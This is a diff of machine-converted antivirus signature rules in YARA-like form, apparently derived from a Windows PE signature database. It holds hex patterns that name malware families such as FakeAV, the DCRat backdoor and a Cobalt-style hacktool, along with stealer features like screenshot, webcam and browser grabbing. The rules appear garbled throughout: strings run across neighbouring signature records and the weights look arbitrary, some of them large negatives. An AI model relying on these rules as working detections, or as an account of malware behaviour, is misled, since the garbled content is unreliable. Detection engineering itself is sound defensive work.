-rule _InfrastructureShared_14495{ +rule _InfrastructureShared_15448{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 44 30 31 21 4d 54 42 00 01 00 10 81 01 74 72 61 66 69 6b 65 6c 65 76 65 72 2e 69 6e 69 01 00 0c 81 01 6c 6b 6b 65 72 69 65 74 2e 66 6c 75 01 00 13 81 01 63 6f 6e 73 70 69 63 75 6f 75 73 6e 65 73 } //18467 + $a_6e_1 = {01 00 1a 81 01 53 70 69 6c 64 65 76 61 6e 64 73 63 69 72 6b 75 6c 72 65 73 32 35 2e 67 65 6e 01 00 10 81 01 53 6b 69 73 74 76 6c 65 72 6e 65 73 2e 61 72 67 01 00 10 81 01 62 61 61 6c 66 72 64 65 72 6e 65 73 2e 70 61 74 01 00 23 81 01 23 5c 73 70 67 65 66 75 6c 64 68 65 64 5c 4d 6f 6e 74 72 61 63 68 65 74 5c 6c 61 } //11891 + $a_69_2 = {74 65 6e 00 00 78 d7 00 00 07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 56 6b 44 4a 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 0c 00 44 6a 4c 6f 61 64 65 72 2e 65 78 65 01 00 16 00 56 6b 6f 6e 74 61 6b 74 65 20 44 4a 20 49 6e 73 74 61 6c 6c 65 72 01 00 09 00 59 41 42 52 4f 57 53 45 52 01 00 09 80 01 79 61 6e 64 65 78 } //31074 + $a_01_3 = {00 1c 80 01 73 6f 66 74 2e 79 61 6e 64 65 78 2e 72 75 2f 64 69 73 74 72 69 62 75 74 69 6f 6e 2f 01 00 2b 80 01 63 6c 69 65 6e 74 2e 63 6f 6e 66 69 67 2f 3f 61 70 70 3d 76 6b 5f 64 6f 77 6e 6c 6f 61 64 65 72 26 66 6f 72 6d 61 74 3d 78 6d 6c 01 00 13 80 01 64 6c 67 5f 79 61 6e 64 65 78 5f 73 65 74 75 70 5f 62 67 00 00 78 d7 00 00 07 00 07 00 09 00 21 } //29230 + $a_46_4 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 63 6f 6e 64 48 61 6e 64 2e 43 21 64 68 61 00 03 00 10 01 52 65 6d 6f 74 65 53 68 65 6c 6c 53 2e 64 6c 6c 03 00 12 01 43 50 6c 75 67 69 6e 52 65 6d 6f 74 65 53 68 65 6c 6c 02 00 0c 01 } //16675 + $a_6c_5 = {54 68 72 65 61 64 20 02 00 10 01 50 72 65 50 61 72 65 53 68 65 6c 6c 45 6e 76 20 02 00 06 01 b8 01 01 01 01 c3 02 00 12 01 44 65 6c 65 74 65 50 6c 75 67 69 6e 4f 62 6a 65 63 74 01 00 13 01 47 65 74 50 6c 75 67 69 6e 49 6e 66 6f 6d 61 74 69 6f 6e 01 00 0f 01 47 65 74 50 6c 75 67 69 6e 4f 62 6a 65 63 74 } //26707 + $a_01_6 = {47 65 74 52 65 67 69 73 74 65 72 43 6f 64 65 } //1 GetRegisterCode + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*11891+(#a_69_2 & 1)*31074+(#a_01_3 & 1)*29230+(#a_46_4 & 1)*16675+(#a_6c_5 & 1)*26707+(#a_01_6 & 1)*1) >=7 + +} +rule _InfrastructureShared_15449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -166017,7 +177156,7 @@ rule _InfrastructureShared_14495{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*384+(#a_23_2 & 1)*9+(#a_01_3 & 1)*3+(#a_01_4 & 1)*3+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2) >=7 } -rule _InfrastructureShared_14496{ +rule _InfrastructureShared_15450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -166035,7 +177174,7 @@ rule _InfrastructureShared_14496{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26707+(#a_01_2 & 1)*1+(#a_d7_3 & 1)*0+(#a_65_4 & 1)*17153+(#a_49_5 & 1)*19770+(#a_72_6 & 1)*27745+(#a_d7_7 & 1)*0+(#a_69_8 & 1)*26473) >=7 } -rule _InfrastructureShared_14497{ +rule _InfrastructureShared_15451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -166052,7 +177191,7 @@ rule _InfrastructureShared_14497{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*18533+(#a_2d_2 & 1)*13622+(#a_42_3 & 1)*19745+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_00_6 & 1)*10+(#a_80_7 & 1)*1) >=8 } -rule _InfrastructureShared_14498{ +rule _InfrastructureShared_15452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -166070,7 +177209,7 @@ rule _InfrastructureShared_14498{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_78_2 & 1)*18433+(#a_6b_3 & 1)*-32493+(#a_65_4 & 1)*28261+(#a_01_5 & 1)*2304+(#a_65_6 & 1)*28271+(#a_72_7 & 1)*14918+(#a_65_8 & 1)*275) >=8 } -rule _InfrastructureShared_14499{ +rule _InfrastructureShared_15453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -166088,7 +177227,7 @@ rule _InfrastructureShared_14499{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28261+(#a_01_2 & 1)*2304+(#a_65_3 & 1)*28271+(#a_72_4 & 1)*14918+(#a_65_5 & 1)*275+(#a_61_6 & 1)*267+(#a_21_7 & 1)*21038+(#a_6f_8 & 1)*29545) >=9 } -rule _InfrastructureShared_14500{ +rule _InfrastructureShared_15454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -166103,7 +177242,7 @@ rule _InfrastructureShared_14500{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26469+(#a_ff_2 & 1)*-3911+(#a_3a_3 & 1)*28755+(#a_74_4 & 1)*25965+(#a_00_6 & 1)*46) >=10 } -rule _InfrastructureShared_14501{ +rule _InfrastructureShared_15455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -166121,7 +177260,7 @@ rule _InfrastructureShared_14501{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*20319+(#a_62_2 & 1)*21249+(#a_65_3 & 1)*26994+(#a_00_5 & 1)*0+(#a_33_6 & 1)*26967+(#a_72_7 & 1)*27759+(#a_6e_8 & 1)*26433+(#a_01_9 & 1)*25455) >=10 } -rule _InfrastructureShared_14502{ +rule _InfrastructureShared_15456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -166141,7 +177280,7 @@ rule _InfrastructureShared_14502{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_d7_8 & 1)*0+(#a_73_9 & 1)*29793+(#a_53_10 & 1)*8993) >=11 } -rule _InfrastructureShared_14503{ +rule _InfrastructureShared_15457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -166160,7 +177299,7 @@ rule _InfrastructureShared_14503{ ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*17921+(#a_72_3 & 1)*29793+(#a_69_4 & 1)*24937+(#a_00_5 & 1)*20+(#a_65_6 & 1)*16687+(#a_02_7 & 1)*27769+(#a_6e_8 & 1)*28484+(#a_70_9 & 1)*28523+(#a_69_10 & 1)*29023) >=11 } -rule _InfrastructureShared_14504{ +rule _InfrastructureShared_15458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -166179,7 +177318,7 @@ rule _InfrastructureShared_14504{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29817+(#a_01_2 & 1)*1+(#a_d7_3 & 1)*0+(#a_74_4 & 1)*28018+(#a_00_5 & 1)*22+(#a_72_6 & 1)*14918+(#a_26_7 & 1)*656+(#a_00_8 & 1)*15726+(#a_64_9 & 1)*28492) >=19 } -rule _InfrastructureShared_14505{ +rule _InfrastructureShared_15459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -166194,7 +177333,7 @@ rule _InfrastructureShared_14505{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2317+(#a_61_2 & 1)*28997+(#a_21_3 & 1)*16969+(#a_74_4 & 1)*829+(#a_52_5 & 1)*21320) >=20 } -rule _InfrastructureShared_14506{ +rule _InfrastructureShared_15460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " @@ -166207,7 +177346,7 @@ rule _InfrastructureShared_14506{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*25705+(#a_02_2 & 1)*15716+(#a_52_3 & 1)*4352) >=22 } -rule _InfrastructureShared_14507{ +rule _InfrastructureShared_15461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 0a 00 21 " @@ -166217,16 +177356,15 @@ rule _InfrastructureShared_14507{ $a_03_2 = {25 73 25 64 2e 64 6c 6c [0-05] 25 73 5c 25 73 2e 64 6c 6c } //1 $a_03_3 = {25 73 36 34 25 73 [0-05] 25 73 33 32 25 } //1 $a_d7_4 = {00 17 00 17 00 0e 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 44 43 52 61 74 2e 47 47 21 4d 54 42 00 0a 00 05 80 01 44 43 52 61 74 01 00 08 80 01 54 65 6c 65 67 72 61 6d 01 00 0a 80 01 73 63 72 65 65 6e 73 68 6f 74 01 00 07 80 01 73 74 65 61 6c 65 72 01 00 06 80 01 57 65 62 63 61 6d 01 00 07 80 01 44 69 73 63 6f 72 64 01 00 06 80 01 43 61 } //0 - $a_61_5 = {00 07 80 01 44 50 6c 75 67 69 6e 01 00 07 80 01 43 6f 6d 6d 61 6e 64 01 00 04 80 01 47 72 61 62 01 00 0d 80 01 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 01 00 07 80 01 42 72 6f 77 73 65 72 01 00 09 80 01 41 6e 74 69 76 69 72 75 73 01 00 08 80 01 73 63 68 74 61 73 6b 73 00 00 78 d7 00 00 21 00 21 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //25965 - $a_49_6 = {2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 55 34 21 4d 54 42 00 0a 00 09 81 01 57 44 43 57 43 46 44 52 52 0a 00 0e 81 01 55 42 59 48 4e 59 47 56 54 42 46 56 54 52 0a 00 0f 81 01 46 44 53 53 53 53 53 53 53 53 53 53 53 53 57 01 00 0e 81 01 43 72 65 } //19770 - $a_49_7 = {73 74 61 6e 63 65 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 15 01 00 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 00 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 } //29793 - $a_d7_8 = {00 2d 00 2d 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 4d 43 61 73 74 00 0f 00 33 01 68 74 74 70 3a 2f 2f 64 6d 77 77 2e 64 6d 63 61 73 74 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 75 70 64 61 74 65 2e 61 73 70 3f 76 65 72 73 69 6f 6e 3d 25 73 0a 00 19 01 53 4f 46 54 57 41 52 45 5c 63 6c 75 62 6d 65 6d 62 65 72 5c 63 61 73 74 00 0a 00 22 01 53 4f 46 } //0 - $a_52_9 = {5c 63 6c 75 62 6d 65 6d 62 65 72 5c 63 61 73 74 5c 64 6d 63 6c 69 65 6e 74 00 0f 00 3b 01 64 3a 5c 77 6f 72 6b 73 70 61 63 65 5c 65 62 63 6c 69 65 6e 74 5c 64 6d 73 65 74 75 70 5c 64 6d 73 63 68 } //22356 + $a_61_5 = {00 07 80 01 44 50 6c 75 67 69 6e 01 00 07 80 01 43 6f 6d 6d 61 6e 64 01 00 04 80 01 47 72 61 62 01 00 0d 80 01 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 01 00 07 80 01 42 72 6f 77 73 65 72 01 00 09 80 01 41 6e 74 69 76 69 72 75 73 01 00 08 80 01 73 63 68 74 61 73 6b 73 00 00 78 d7 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //25965 + $a_33_6 = {2f 46 61 6b 65 41 56 2e 4c 4d 21 4d 54 42 00 14 00 31 03 ff 25 88 40 49 00 90 90 90 90 ff 25 84 40 49 00 90 90 90 90 ff 25 90 90 40 49 00 90 90 90 90 74 d6 42 00 03 0b 54 54 65 78 90 01 01 4c 61 79 90 00 0a 00 75 03 00 50 ec 41 00 7c ef 41 00 2c e9 42 00 e4 1a 44 00 e0 1a 44 00 b0 1b 44 00 18 fb 43 00 30 04 44 00 94 03 44 00 80 } //26967 + $a_fa_8 = {00 90 90 33 44 00 bc 33 44 00 98 fc 43 00 9c f1 42 00 94 fc 43 00 88 09 44 00 04 09 44 00 48 0c 44 00 c4 0a 44 00 f0 1d 44 00 40 34 44 00 40 0f 44 00 30 10 44 00 9c fe 43 00 1c 10 44 00 ec ee 42 00 c4 90 00 00 00 78 d7 00 00 21 00 21 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a } //67 + $a_4d_9 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 55 34 21 4d 54 42 00 0a 00 09 81 01 57 44 43 57 43 46 44 52 52 0a 00 0e 81 01 55 42 59 48 4e 59 47 56 54 42 46 56 54 52 0a } //28257 condition: - ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*18774+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_d7_4 & 1)*0+(#a_61_5 & 1)*25965+(#a_49_6 & 1)*19770+(#a_49_7 & 1)*29793+(#a_d7_8 & 1)*0+(#a_52_9 & 1)*22356) >=23 + ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*18774+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_d7_4 & 1)*0+(#a_61_5 & 1)*25965+(#a_33_6 & 1)*26967+(#a_fa_8 & 1)*67+(#a_4d_9 & 1)*28257) >=23 } -rule _InfrastructureShared_14508{ +rule _InfrastructureShared_15462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 0e 00 21 " @@ -166234,20 +177372,32 @@ rule _InfrastructureShared_14508{ $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 44 43 52 61 74 2e 47 47 21 4d 54 42 00 0a 00 05 80 01 44 43 52 61 74 01 00 08 80 01 54 65 6c 65 67 72 61 6d 01 00 0a 80 01 73 63 72 65 65 6e 73 68 6f 74 01 00 07 80 } //21539 $a_65_1 = {6c 65 72 01 00 06 80 01 57 65 62 63 61 6d 01 00 07 80 01 44 69 73 63 6f 72 64 01 00 06 80 01 43 61 6d 65 72 61 01 00 07 80 01 44 50 6c 75 67 69 6e 01 00 07 80 01 43 6f 6d 6d 61 6e 64 01 00 04 80 01 47 72 61 62 01 00 0d 80 01 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 01 00 07 80 01 42 72 6f 77 73 65 72 01 00 09 80 01 41 6e 74 69 76 69 72 75 73 01 00 } //29441 $a_73_2 = {68 } //-32760 h - $a_6b_3 = {00 00 78 d7 00 00 21 00 21 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 55 34 21 4d 54 42 00 0a 00 09 81 01 57 44 43 57 43 46 44 52 52 0a 00 0e 81 01 55 42 59 48 4e 59 47 56 54 42 46 56 54 52 0a 00 0f 81 01 46 44 53 53 53 53 53 53 53 53 53 53 53 53 57 01 00 0e 81 01 43 72 65 61 74 } //24948 - $a_73_4 = {61 6e 63 65 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 15 01 00 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 00 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 00 00 78 d7 00 00 2d 00 2d 00 04 } //18789 - $a_41_5 = {77 61 72 65 3a 57 69 6e 33 32 2f 44 4d 43 61 73 74 00 0f 00 33 01 68 74 74 70 3a 2f 2f 64 6d 77 77 2e 64 } //8448 - $a_73_6 = {2e 63 6f 6d 2f 73 63 72 69 70 74 2f 75 70 64 61 74 65 2e 61 73 70 3f 76 65 72 73 69 6f 6e 3d 25 73 0a 00 19 01 53 4f 46 54 57 41 52 45 5c 63 6c 75 62 6d 65 6d 62 65 72 5c 63 61 73 74 00 0a 00 22 01 53 4f 46 54 57 41 52 45 5c 63 6c 75 62 6d 65 6d 62 65 72 5c 63 61 73 74 5c 64 6d 63 6c 69 65 } //25453 - $a_64_8 = {5c } //15104 \ - $a_6b_9 = {70 61 63 65 5c 65 62 63 6c 69 65 6e 74 5c 64 6d 73 65 74 75 70 5c 64 6d 73 63 68 65 64 32 5c 52 65 6c 65 61 73 65 5c 64 6d 73 63 68 65 64 32 2e 70 64 62 00 00 78 d8 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 4c 61 67 6f 6f 6e 2e 43 21 64 68 61 00 01 00 a4 43 4d 8b cf ba 01 00 00 } //28535 - $a_ff_10 = {7f 00 48 8b c8 e8 90 01 04 48 8d 15 90 01 04 48 8b cf e8 90 01 04 48 8b f0 48 85 c0 0f 84 90 01 04 48 8d 15 90 01 04 48 8d 48 90 01 01 e8 90 01 04 48 85 c0 0f 84 90 01 04 48 8d 56 90 01 01 88 18 48 8d 4c 24 90 01 01 e8 90 01 04 85 c0 0f 8e 90 01 04 83 c0 fb 48 8d 4c 24 90 01 01 89 44 24 90 01 01 45 33 c9 48 8d 44 24 90 01 01 48 89 4c 24 90 01 01 48 89 44 24 90 01 01 48 8d 4c 24 90 01 01 89 5c 24 90 01 01 45 33 c0 33 d2 48 89 5c 24 90 01 01 ff 15 90 00 00 00 78 d8 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 36 } //16640 - $a_44_11 = {62 6f 74 2e 41 00 01 00 2d 01 77 69 6e 64 6f 77 73 5f 37 5f 77 69 6e 64 6f 77 73 5f 31 30 5f 63 68 65 63 6b 5f 72 75 6e 6e 69 6e 67 5f 6f 6e 63 65 5f 6d 75 74 65 78 01 00 7c 01 72 00 69 00 67 00 68 00 74 00 73 00 3d 00 61 00 64 00 6d 00 69 00 6e 00 } //12084 - $a_00_13 = {72 00 69 00 67 00 68 00 74 00 } //14880 right + $a_6b_3 = {00 00 78 d7 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 56 2e 4c 4d 21 4d 54 42 00 14 00 31 03 ff 25 88 40 49 00 90 90 90 90 ff 25 84 40 49 00 90 90 90 90 ff 25 90 90 40 49 00 90 90 90 90 74 d6 42 00 03 0b 54 54 65 78 90 01 01 4c 61 79 90 00 0a 00 75 03 00 50 ec 41 00 7c ef 41 00 2c e9 42 00 } //24948 + $a_00_4 = {e0 1a 44 00 b0 1b 44 00 18 fb 43 00 30 04 44 00 94 03 44 00 80 0d 44 00 58 fa 43 00 5c fa 43 00 90 90 33 44 00 bc 33 44 00 98 fc 43 00 9c f1 42 00 94 fc 43 00 88 09 44 00 04 09 44 00 48 0c 44 00 c4 0a 44 } //6884 + $a_44_5 = {40 34 44 00 40 0f 44 00 30 10 44 00 9c fe 43 00 1c 10 44 00 ec ee 42 00 c4 90 00 00 00 } //-4096 + $a_00_7 = {09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 } //33 + $a_34_8 = {4d 54 42 00 0a 00 09 81 01 57 44 43 57 43 46 44 52 52 0a 00 0e 81 01 55 42 59 48 4e 59 47 56 54 42 46 56 54 52 0a 00 0f 81 01 46 44 53 53 53 53 53 53 53 53 53 53 53 53 57 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 81 01 67 65 74 5f } //18765 + $a_72_9 = {01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 15 01 00 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 00 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 00 00 78 d7 00 00 2d 00 2d 00 04 00 21 23 41 64 } //26691 + $a_65_10 = {57 69 6e 33 32 2f 44 4d 43 61 73 74 00 0f 00 33 01 68 74 74 70 3a 2f 2f 64 6d 77 77 2e 64 6d 63 61 73 74 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 75 70 64 61 74 65 2e 61 73 70 3f 76 65 72 73 69 6f 6e 3d 25 73 0a 00 19 01 53 4f 46 54 57 41 52 45 5c 63 6c 75 62 6d 65 6d 62 65 72 5c 63 61 73 74 00 0a 00 22 01 53 4f 46 54 57 41 52 45 5c 63 6c 75 62 } //24951 + $a_62_11 = {72 5c 63 61 73 74 5c 64 6d 63 6c 69 65 6e 74 00 0f 00 3b 01 64 3a 5c 77 6f 72 6b 73 70 61 63 65 5c 65 62 63 6c 69 65 6e 74 5c 64 6d 73 65 74 75 70 5c 64 6d 73 63 68 65 64 32 5c 52 65 6c 65 61 73 65 5c 64 6d 73 63 68 65 64 32 2e 70 64 62 00 00 78 d8 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e } //25965 + $a_43_12 = {62 61 6c 74 4c 61 67 6f 6f 6e 2e 43 21 64 68 61 00 01 00 a4 43 4d 8b cf ba 01 00 00 00 41 b8 ff ff 7f 00 48 8b c8 e8 90 01 04 48 8d 15 90 01 } //13366 + $a_cf_13 = {90 01 04 48 8b f0 48 85 c0 0f 84 90 01 04 48 8d 15 90 01 04 48 8d 48 90 01 01 e8 90 01 04 48 85 c0 0f 84 90 01 04 48 8d 56 90 01 01 88 18 48 8d 4c 24 90 01 01 e8 90 01 04 85 c0 0f 8e 90 01 04 83 c0 fb 48 8d 4c 24 90 01 01 89 44 24 90 01 01 45 33 c9 48 8d 44 24 90 01 01 48 89 4c 24 90 01 01 48 89 44 24 90 01 01 48 8d 4c 24 90 01 01 89 5c 24 90 01 01 45 33 c0 33 d2 48 89 5c 24 90 01 01 ff 15 90 00 00 00 78 d8 00 00 } //18436 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29441+(#a_73_2 & 1)*-32760+(#a_6b_3 & 1)*24948+(#a_73_4 & 1)*18789+(#a_41_5 & 1)*8448+(#a_73_6 & 1)*25453+(#a_64_8 & 1)*15104+(#a_6b_9 & 1)*28535+(#a_ff_10 & 1)*16640+(#a_44_11 & 1)*12084+(#a_00_13 & 1)*14880) >=23 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29441+(#a_73_2 & 1)*-32760+(#a_6b_3 & 1)*24948+(#a_00_4 & 1)*6884+(#a_44_5 & 1)*-4096+(#a_00_7 & 1)*33+(#a_34_8 & 1)*18765+(#a_72_9 & 1)*26691+(#a_65_10 & 1)*24951+(#a_62_11 & 1)*25965+(#a_43_12 & 1)*13366+(#a_cf_13 & 1)*18436) >=23 } -rule _InfrastructureShared_14509{ +rule _InfrastructureShared_15463{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 56 2e 4c 4d 21 4d 54 42 00 14 00 31 03 ff 25 88 40 49 00 90 90 90 90 ff 25 84 40 49 00 90 90 90 90 ff 25 90 90 40 49 00 90 90 90 90 74 d6 42 00 03 0b 54 } //21539 + $a_90_1 = {01 4c 61 79 90 00 0a 00 75 03 00 50 ec 41 00 7c ef 41 00 2c e9 42 00 e4 1a 44 00 e0 1a 44 00 b0 1b 44 00 18 fb 43 00 30 04 44 00 94 03 44 00 80 0d 44 00 58 fa 43 00 5c fa 43 00 90 90 33 44 00 bc 33 44 00 98 fc 43 00 9c f1 42 00 94 fc 43 00 88 09 44 00 04 09 44 00 48 0c 44 00 c4 0a 44 00 f0 1d 44 00 40 34 44 00 40 0f 44 00 30 10 44 00 9c fe 43 00 1c 10 44 00 } //25940 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*25940) >=30 + +} +rule _InfrastructureShared_15464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 09 00 21 " @@ -166265,7 +177415,7 @@ rule _InfrastructureShared_14509{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*21331+(#a_75_2 & 1)*31073+(#a_0a_3 & 1)*9533+(#a_6d_4 & 1)*23653+(#a_85_5 & 1)*-3957+(#a_8d_6 & 1)*-14029+(#a_57_7 & 1)*31088+(#a_78_8 & 1)*29813) >=33 } -rule _InfrastructureShared_14510{ +rule _InfrastructureShared_15465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 04 00 21 " @@ -166278,7 +177428,7 @@ rule _InfrastructureShared_14510{ ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*10+(#a_01_2 & 1)*15+(#a_d8_3 & 1)*0) >=45 } -rule _InfrastructureShared_14511{ +rule _InfrastructureShared_15466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -166288,7 +177438,7 @@ rule _InfrastructureShared_14511{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14512{ +rule _InfrastructureShared_15467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -166299,7 +177449,7 @@ rule _InfrastructureShared_14512{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*380) >=1 } -rule _InfrastructureShared_14513{ +rule _InfrastructureShared_15468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -166312,7 +177462,7 @@ rule _InfrastructureShared_14513{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*24887+(#a_63_2 & 1)*14637+(#a_35_3 & 1)*25190) >=1 } -rule _InfrastructureShared_14514{ +rule _InfrastructureShared_15469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -166325,7 +177475,7 @@ rule _InfrastructureShared_14514{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*18030+(#a_46_2 & 1)*17486+(#a_21_3 & 1)*17710) >=1 } -rule _InfrastructureShared_14515{ +rule _InfrastructureShared_15470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -166337,7 +177487,7 @@ rule _InfrastructureShared_14515{ ((#a_54_0 & 1)*18467+(#a_83_2 & 1)*11264+(#a_04_3 & 1)*-28428) >=1 } -rule _InfrastructureShared_14516{ +rule _InfrastructureShared_15471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -166347,7 +177497,7 @@ rule _InfrastructureShared_14516{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14517{ +rule _InfrastructureShared_15472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -166358,7 +177508,7 @@ rule _InfrastructureShared_14517{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*110) >=2 } -rule _InfrastructureShared_14518{ +rule _InfrastructureShared_15473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -166366,25 +177516,38 @@ rule _InfrastructureShared_14518{ $a_54_0 = {3a 46 61 72 66 6c 69 2e 42 59 32 00 01 00 23 01 c6 44 24 20 66 c6 44 24 21 75 c6 44 24 22 63 c6 44 24 23 6b c6 44 24 24 33 c6 44 24 25 36 c6 44 24 26 30 01 00 18 01 c6 45 dc 77 c6 45 dd 73 c6 45 de 70 c6 45 df 72 c6 45 e0 69 c6 45 e1 